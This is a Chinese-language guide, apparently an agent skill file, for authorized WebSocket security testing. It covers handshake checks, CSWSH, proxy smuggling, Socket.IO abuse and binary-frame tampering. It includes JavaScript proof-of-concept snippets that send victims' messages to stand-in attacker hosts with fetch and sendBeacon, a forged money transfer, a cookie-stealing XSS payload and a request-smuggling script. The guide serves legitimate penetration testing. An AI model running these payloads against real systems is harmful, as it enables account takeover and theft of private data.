WebSocket 实时通道安全测试：检查握手、CSWSH…

当应用使用 WebSocket、聊天、通知或 WS 后端 API 时，用于在授权测试中发现握手、会话绑定、消息处理、传输与二进制协议相关漏洞。

适用场景

解决思路

1. 在代理或原始流量审查中查找 WebSocket 握手特征：`Upgrade: websocket`、`Connection: Upgrade`、`Sec-WebSocket-Key`、`Sec-WebSocket-Version: 13`、可选 `Sec-WebSocket-Protocol`。
2. 识别服务端成功响应：`HTTP/1.1 101 Switching Protocols`、`Upgrade: websocket`、`Connection: Upgrade`、`Sec-WebSocket-Accept`。
3. 在 Burp 或浏览器 DevTools 中过滤 `101` 和 `Upgrade: websocket`；若还要测更深 API，按 `api-sec` 对齐认证/授权模型。
4. 检查客户端握手：必须包含 `Upgrade: websocket` 与 `Connection: Upgrade`。
5. 检查 `Sec-WebSocket-Key` 是否为 base64 nonce，并确认服务端用 magic GUID 哈希后返回 `Sec-WebSocket-Accept`。
6. 确认 `Sec-WebSocket-Version: 13` 为标准版本以兼容浏览器。
7. 确认服务端返回 `HTTP/1.1 101 Switching Protocols` 后，后续为 RFC WebSocket 文本/二进制帧；理解流程为客户端 HTTP GET+Upgrade -> 服务端 101+Accept -> 帧消息/ping-pong/close。
8. CSWSH 条件：服务端在握手时不校验 `Origin` 或等效绑定，且受害者对目标站有活跃会话（Cookie 或浏览器存储凭据）。
9. 构造 CSWSH PoC：用恶意页面在受害者浏览器中以受害者身份打开 `new WebSocket('wss://vulnerable.example.com/messages')`，`onopen` 发送 `HELLO`，`onmessage` 将 `event.data` 通过 `fetch('https://attacker.example.net/?'+encodeURIComponent(event.data))` 外带。
10. 测试时确认是否检查 `Origin`、是否发送 `Cookie`（`SameSite` 规则）、是否要求子协议或自定义头；缺失检查增加 CSWSH 风险。
11. 使用 wsrepl：`pip install wsrepl`，然后 `wsrepl -u wss://target.example.com/ws -P auth_plugin.py`；用插件复现浏览器 Cookie、头或令牌刷新。
12. 使用 ws-harness 桥接到 HTTP：`python ws-harness.py -u ws://127.0.0.1:8765/path -m ./message.txt`；再对桥接 HTTP 表面运行下游工具，如 `sqlmap -u http://127.0.0.1:8000/?fuzz=test --batch`（按本地监听 URL 调整）。
13. 使用 Burp 生态：`SocketSleuth` 检查与操纵 WebSocket 流量；`WebSocket Turbo Intruder` 进行高速或脚本化消息模糊测试。
14. 检查常见漏洞：缺失 `Origin` 校验会导致 CSWSH。
15. 检查 `Auth token in URL`（如 `wss://host/ws?token=...`）是否造成日志、代理、Referer 泄漏、浏览器历史记录泄漏；优先改用 `Sec-WebSocket-Protocol`、首消息认证或 `cookie + CSRF token` 模式。
16. 检查消息是否无速率限制，可导致滥用、暴力破解、DoS。
17. 检查是否使用 `ws://` 而非 `wss://`，会在线路上明文传输并易受 MITM。
18. 检查消息体注入：SQLi、命令注入，或内容存储/反射到别处导致 XSS。
19. 看到敏感 URL 反模式如 `wss://api.example.com/stream?access_token=...` 时，按产品约束改为 `Sec-WebSocket-Protocol`、首消息认证或 `cookie + CSRF token`。
20. 决策树：从 JS bundles、Swagger 或 `101` 响应识别端点，记录 `wss` vs `ws`。
21. 握手审查：检查 `Origin`、`Host`、`Cookie` 策略是否正确，查询字符串是否有 token。
22. 会话绑定：在 Burp 中用另一个用户的 cookie jar 重连，比较订阅主题与数据泄漏。
23. CSWSH：在受害者会话活跃时加载本地 HTML 页面连接目标，验证服务端是否拒绝错误 `Origin` 或使用非 Cookie 密钥。
24. 消息语义：对 JSON/文本 payload 做注入模糊测试，像 HTTP API 测试一样镜像逻辑。
25. 传输：标记生产环境中的 `ws://`，验证 TLS 与 HSTS 对齐。
26. 与 api-sec 联动：认证、授权、IDOR、速率限制常在同一 WebSocket 路由后镜像 HTTP API；WebSocket 通常与 REST 共享会话和权限模型，用 api-sec 对齐认证与资源边界。
27. CSWSH Step 1：在 Burp 中拦截 WebSocket upgrade 请求，把 `Origin` 改为 `https://attacker.com`；若返回 `101 Switching Protocols` 则无 Origin 校验；若 `403`/拒绝则已校验（测试子域变体）。
28. CSWSH Step 2：构造攻击者页面，JS 中 `new WebSocket('wss://target.com/ws')`；`onopen` 发送 `get_profile`、`list_messages` 等命令；`onmessage` 用 `fetch('https://attacker.com/collect', {method:'POST', body:event.data})` 外带所有消息；`onerror` 外带错误。
29. CSWSH Step 3：理解 Cookie 行为：目标域 Cookie 会在 upgrade 请求中自动发送；`SameSite=None` 总是发送；`SameSite=Lax` 不发送（WS 不是顶层导航）；`SameSite=Strict` 不发送。关键问会话 Cookie 是 `SameSite=None` 还是遗留无 SameSite；遗留 Cookie 在现代 Chrome 默认 Lax，但在旧浏览器为 None。
30. CSWSH Step 4：以受害者身份读写消息：读财务数据、私信、管理员命令；写转账、改设置、以受害者发消息。JS 示例：`ws.send(JSON.stringify({action:'transfer',to:'attacker_account',amount:10000}))`；`onmessage` 中解析 `balance` 后用 `navigator.sendBeacon('https://attacker.com/data', JSON.stringify(data))` 外带。
31. WebSocket smuggling 概念：利用 WebSocket upgrade 绕过反向代理限制，再通过 WebSocket 连接隧道任意 HTTP 流量。
32. Upgrade-based proxy bypass：1) 反向代理限制 `/admin` 返回 403；2) 客户端向 `/ws` 发送合法 WebSocket upgrade；3) 代理允许 upgrade（101）；4) upgrade 后代理停止检查连接（原始 TCP 透传）；5) 客户端通过“WebSocket”连接发送原始 HTTP 请求 `GET /admin HTTP/1.1`、`Host: backend-server`；6) 后端处理 HTTP 请求，返回 200 管理员内容。
33. H2-over-WebSocket smuggling：1) 通过 WebSocket 连接目标；2) upgrade 后通过 WebSocket 隧道发送 HTTP/2 preface；3) 后端 HTTP/2 处理器处理走私请求；4) 绕过只检查 HTTP/1.1 的 WAF/代理规则。
34. Python 实现：用 `websocket.create_connection('wss://target.com/ws', header=['Origin: https://target.com'], sslopt={'cert_reqs': ssl.CERT_NONE})` 连接；upgrade 后发送原始 HTTP 隧道请求，如 `GET /admin/users HTTP/1.1`、`Host: internal-backend`、`Connection: close`，用 `ws.send(smuggled_request, opcode=0x2)` 发送二进制帧，`ws.recv()` 读取响应。
35. 代理行为：Nginx 在 101 后透传原始 TCP，若后端不校验 WS 帧则可走私；HAProxy 取决于 `option http-server-close` 与 `tunnel` 模式；AWS ALB 终止 WebSocket 并重组帧，较难走私；Cloudflare 检查 WebSocket 帧，阻止原始 HTTP 走私；Varnish 原生不支持 WebSocket，upgrade 可能完全绕过缓存。
36. Socket.IO namespace injection：若只在默认 namespace 授权，客户端可直接 `io('https://target.com/admin')` 并 `emit('list_users')`；服务端可能不验证客户端是否有 `/admin` 权限。
37. Socket.IO event name injection：若服务端用 `socket.on(userInput, handler)`，攻击者可发送内部事件名，如 `__disconnect` 强制断开其他客户端，`connection` 重新触发连接处理器，`error` 触发错误处理器。
38. Socket.IO acknowledgement callback abuse：`socket.emit('get_data', {id:'admin'}, (response)=>{...})`；若服务端在 ack 回调返回敏感数据，则用 `fetch('https://attacker.com/exfil', {method:'POST', body:JSON.stringify(response)})` 外带。
39. Socket.IO polling fallback CSRF：WebSocket 不可用时回退到 HTTP long-polling；polling 传输使用带 Cookie 的普通 HTTP 请求，若无额外 token 验证则易受 CSRF；示例 `POST /socket.io/?EIO=4&transport=polling&sid=SESSION_ID`，`Content-Type: application/octet-stream`，body 为 `4{"type":2,"data":["transfer",{"to":"attacker","amount":1000}]}`。
40. WebSocket message injection in intercepted connections：若应用用 `ws://` 明文，攻击者可在同网段注入消息；步骤：ARP 欺骗或网络位置拦截流量；识别 TCP 流中的 WebSocket 帧；在合法消息之间注入构造帧；可双向注入（client->server 和 server->client）。
41. Application-level injection：当 WebSocket 消息被拼接或插值且未清洗时，如服务端 `broadcast('{"user":"'+username+'","msg":"'+msg+'"}')`；注入 `msg = '","admin":true,"msg":"hacked'` 会改变 JSON 结构。
42. Stored XSS via WebSocket：发送 `<img src=x onerror=alert(document.cookie)>`；服务端存储并广播给所有连接客户端；若客户端将消息渲染为 HTML，则形成存储 XSS；所有连接用户同时受影响。
43. Protobuf deserialization：捕获二进制 WebSocket 帧；用 `protoc --decode_raw` 或 `protobuf-inspector` 解码 protobuf 结构；修改字段值（如 user_id、amount、role）；重新编码并发送修改后的帧；服务端反序列化后未重新校验字段约束即中招。
44. Protobuf 解码命令：`echo 'CAPTURED_HEX' | xxd -r -p | protoc --decode_raw`；查看字段结构与值，修改、重编码、通过 WebSocket 发回。
45. MessagePack deserialization：用 Python `msgpack` 与 `websocket` 连接；`raw=ws.recv()`，`data=msgpack.unpackb(raw, raw=False)`；修改 `data['user_id']=1` 进行 IDOR 访问管理员余额；`ws.send(msgpack.packb(data), opcode=0x2)`。
46. Type confusion attacks：二进制序列化格式可能允许类型混淆；原 `user_id` 为整数，改为字符串 `1 OR 1=1`，若服务端反序列化后不校验类型可致 SQL 注入；原 `is_admin` 为布尔 false，改为 true，若服务端信任反序列化值则直接提权。
47. 二进制 WebSocket 分析工具：Burp Suite + SocketSleuth 拦截修改二进制帧；`protobuf-inspector` 解码未知 protobuf；`msgpack-tools` 编码/解码 MessagePack CLI；`wsdump`（websocket-client）原始帧捕获与重放；Wireshark 在协议层解剖 WebSocket 帧。

适用边界 · 注意事项

• 未获得明确授权的目标：必须只做授权测试，并将会话令牌与消息内容视为敏感数据。
• 应用没有 WebSocket、实时通道、聊天、通知或 WS 后端 API 时，不需要本技能；可转向 REST/GraphQL 的 api-sec 测试。
• 无法接受对生产实时通道造成中断或数据影响时，不要在未隔离环境执行注入、走私或 DoS 类测试。